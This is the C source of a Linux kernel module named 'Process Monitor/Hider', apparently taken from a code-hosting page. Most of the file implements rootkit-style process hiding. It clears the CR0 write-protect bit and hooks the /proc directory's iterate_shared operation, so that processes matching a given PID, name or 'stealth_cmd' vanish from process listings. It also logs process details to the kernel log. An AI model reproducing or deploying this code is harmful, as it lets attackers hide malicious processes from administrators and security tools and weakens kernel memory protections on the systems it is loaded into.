1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
|
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <linux/version.h>
#include <linux/cred.h>
#include <linux/namei.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/dirent.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Biswa Kalyan Bhuyan");
MODULE_DESCRIPTION("Process Monitor/Hider");
MODULE_VERSION("0.3");
/* Module parameters */
static unsigned int monitor_pid = 0;
module_param(monitor_pid, uint, 0644);
MODULE_PARM_DESC(monitor_pid, "Process ID to monitor");
static char* hide_name = NULL;
module_param(hide_name, charp, 0644);
MODULE_PARM_DESC(hide_name, "Process name to hide");
static unsigned int report_children = 0;
module_param(report_children, uint, 0644);
MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes");
// Stealth flag - for hiding commands
static char* stealth_cmd = NULL;
module_param(stealth_cmd, charp, 0644);
MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings");
/* Data structures */
struct process_info {
pid_t pid;
pid_t ppid;
char name[TASK_COMM_LEN];
uid_t uid;
gid_t gid;
unsigned long start_time;
unsigned int num_threads;
unsigned int num_children;
};
/* Hook-related variables */
static struct file_operations *proc_fops;
static struct file_operations *root_fops;
static filldir_t orig_proc_filldir;
static int (*orig_iterate_shared)(struct file *, struct dir_context *);
static struct path proc_path;
/* Function to gather detailed process information */
static void gather_process_info(struct task_struct *task, struct process_info *info)
{
if (!task || !info)
return;
info->pid = task->pid;
info->ppid = task->parent ? task->parent->pid : 0;
strncpy(info->name, task->comm, TASK_COMM_LEN);
info->uid = task->cred->uid.val;
info->gid = task->cred->gid.val;
info->start_time = task->start_time;
info->num_threads = task->signal ? task->signal->nr_threads : 0;
// Count children
struct task_struct *child;
info->num_children = 0;
list_for_each_entry(child, &task->children, sibling) {
info->num_children++;
}
}
/* Report on a single process */
static void report_process(struct task_struct *task)
{
struct process_info info;
gather_process_info(task, &info);
printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name);
printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid);
printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid);
printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads);
printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children);
if (report_children && info.num_children > 0) {
printk(KERN_INFO "ProcMon: Child processes:\n");
struct task_struct *child;
list_for_each_entry(child, &task->children, sibling) {
printk(KERN_INFO "ProcMon: - PID %d (%s)\n",
child->pid, child->comm);
}
}
}
/* Function to find process by PID */
static struct task_struct *find_process_by_pid(unsigned int pid)
{
struct task_struct *task;
for_each_process(task) {
if (task->pid == pid)
return task;
}
return NULL;
}
/* Function to scan for processes with a given name */
static void scan_for_process_name(const char *name)
{
struct task_struct *task;
int count = 0;
printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name);
for_each_process(task) {
if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) {
printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid);
report_process(task);
count++;
}
}
printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name);
}
/* Function to identify all processes that would be hidden in stealth mode */
static void simulate_stealth_mode(const char *cmd_name)
{
struct task_struct *task;
int count = 0;
printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n");
// Find all processes matching our stealth_cmd
for_each_process(task) {
if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) {
printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n",
task->pid, task->comm);
count++;
}
}
printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n",
count, cmd_name);
}
/* Should we hide this process? */
static int should_hide_proc(const char *name)
{
struct task_struct *task;
// First check if it's a PID directory
long pid;
if (kstrtol(name, 10, &pid) == 0) {
// It's a numeric directory, so it could be a PID
task = find_process_by_pid((unsigned int)pid);
if (task) {
// Check if this is our monitored PID
if (monitor_pid > 0 && task->pid == monitor_pid) {
return 1; // Hide the monitored PID
}
// Check if process name matches hide_name
if (hide_name && strlen(hide_name) > 0 &&
strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) {
return 1; // Hide processes with matching name
}
// Check if process name matches stealth_cmd
if (stealth_cmd && strlen(stealth_cmd) > 0 &&
strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) {
return 1; // Hide processes with matching command
}
}
}
return 0; // Don't hide this one
}
/* Custom filldir function to filter directory entries */
static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
// Check if we should hide this entry
if (should_hide_proc(name)) {
return 0; // Skip this entry
}
// Otherwise, call the original filldir
return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
}
/* Custom iterate_shared function to hook directory listing */
static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
{
// Replace the filldir function with our custom one
orig_proc_filldir = ctx->actor;
ctx->actor = (filldir_t)proc_filldir;
// Call the original iterate_shared with our modified context
return orig_iterate_shared(file, ctx);
}
/* Function to set up hooking of /proc directory */
static void hook_proc(void)
{
// Get the path to /proc
if (kern_path("/proc", 0, &proc_path)) {
printk(KERN_ERR "ProcMon: Failed to get /proc path\n");
return;
}
// Get the file operations for /proc
proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
// Save the original iterate_shared function
orig_iterate_shared = proc_fops->iterate_shared;
// Replace with our custom function
// Need to make the page writable first
unsigned long *p = (unsigned long *)&proc_fops->iterate_shared;
write_cr0(read_cr0() & ~0x10000); // Disable write protection
proc_fops->iterate_shared = proc_iterate_shared;
write_cr0(read_cr0() | 0x10000); // Enable write protection
printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n");
}
/* Function to unhook /proc directory */
static void unhook_proc(void)
{
// Restore the original iterate_shared function
if (proc_fops && orig_iterate_shared) {
write_cr0(read_cr0() & ~0x10000); // Disable write protection
proc_fops->iterate_shared = orig_iterate_shared;
write_cr0(read_cr0() | 0x10000); // Enable write protection
printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n");
}
// Release the path
path_put(&proc_path);
}
static int __init proc_monitor_init(void)
{
printk(KERN_INFO "ProcMon: Module loaded\n");
// Monitor specific PID if provided
if (monitor_pid > 0) {
struct task_struct *task = find_process_by_pid(monitor_pid);
if (task) {
printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n",
task->pid, task->comm);
report_process(task);
} else {
printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid);
}
}
// Scan for processes by name if provided
if (hide_name != NULL && strlen(hide_name) > 0) {
scan_for_process_name(hide_name);
}
// Set up stealth mode if requested
if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd);
simulate_stealth_mode(stealth_cmd);
}
// Implement the actual hooking
hook_proc();
printk(KERN_INFO "ProcMon: Process Hiding Starts\n");
printk(KERN_INFO "ProcMon: Module initialization complete\n");
return 0;
}
static void __exit proc_monitor_exit(void)
{
printk(KERN_INFO "ProcMon: Module unloaded\n");
// Unhook everything
unhook_proc();
if (monitor_pid > 0) {
printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid);
}
if (hide_name != NULL && strlen(hide_name) > 0) {
printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name);
}
if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd);
}
}
module_init(proc_monitor_init);
module_exit(proc_monitor_exit);
|